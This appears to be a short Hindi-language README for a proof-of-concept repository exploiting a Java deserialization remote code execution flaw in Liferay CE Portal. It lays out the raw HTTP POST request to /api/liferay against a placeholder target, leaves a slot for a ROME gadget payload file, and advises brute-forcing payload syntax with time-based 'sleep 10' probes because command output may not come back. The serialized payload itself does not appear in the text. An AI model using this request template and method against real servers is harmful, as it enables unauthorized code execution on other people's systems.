Liferay-CE-Portal-Java-Deserialization

इस रिपॉजिटरी में Liferay CE Portal की रिमोट कोड एक्ज़ीक्यूशन भेद्यता के लिए PoC शामिल है!

पेलोड

मैंने पहले से ही रिपॉजिटरी में पेलोड साझा कर दिए हैं। आपको ब्रूट-फोर्स विधि से सही सिंटैक्स खोजना होगा। मेरे साझा किए गए पेलोड समय-आधारित प्रमाण-अवधारणा (sleep 10) के लिए हैं। एप्लिकेशन हमेशा कमांड आउटपुट नहीं कर सकता है। इसीलिए PoC करते समय आपको समय-आधारित पेलोड आज़माना चाहिए।

प्रूफ ऑफ कॉन्सेप्ट

• POST /api/liferay HTTP/1.1
• Host: TARGET
• User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
• Accept: text/html,application/xhtml+xml,application/xml;q=0.9
• Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
• Accept-Encoding: gzip, deflate
• Connection: close

ROME-PAYLOAD-FILE

उदाहरण PoC (sleep 10)